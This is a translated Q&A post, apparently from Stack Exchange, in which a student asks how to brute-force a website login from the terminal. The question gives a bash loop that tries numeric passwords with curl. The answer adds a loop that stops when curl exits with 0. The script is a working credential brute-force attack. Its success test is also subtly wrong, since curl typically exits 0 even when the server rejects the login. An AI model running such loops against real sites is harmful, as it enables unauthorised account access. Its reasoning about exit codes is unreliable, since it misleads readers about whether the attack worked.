Bagaimana saya bisa masuk ke situs web dari terminal?


8

Sebagai seorang mahasiswa ilmu komputer, saya sekarang belajar untuk bekerja dengan baris perintah. Saya perlu menggunakan brute force untuk masuk ke situs web, mengetahui nama pengguna dan kata sandinya adalah bilangan bulat dalam rentang tertentu. Inilah yang saya miliki sejauh ini tetapi sepertinya tidak berhasil.

 for i in {2000..3000}; do curl http://admin:$i@mywebsite.com/link; done

Bagaimana saya bisa melanjutkan?

Jawaban:


6

Apa yang kurang rutin Anda adalah beberapa cara untuk keluar setelah yang benar iditemukan. Untuk itu Anda bisa melihat kode keluar yang diberikan kembali dari curl:

for i in {2000..3000}
do 
  curl http://admin:$i@mywebsite.com/link
  if [ "$?" -eq 0 ]; then
    echo Found "$i"
    break
  fi
done

Nilai keluar curladalah 0 ketika semuanya benar dan dapat diperiksa langsung setelah program berhenti dengan memeriksa variabel khusus $?. Gunakan man curldan cari untuk EXIT CODEmelihat semua hal yang berbeda curldapat memberi tahu Anda dengan kode keluarnya.

Dengan menggunakan situs kami, Anda mengakui telah membaca dan memahami Kebijakan Cookie dan Kebijakan Privasi kami.
Licensed under cc by-sa 3.0 with attribution required.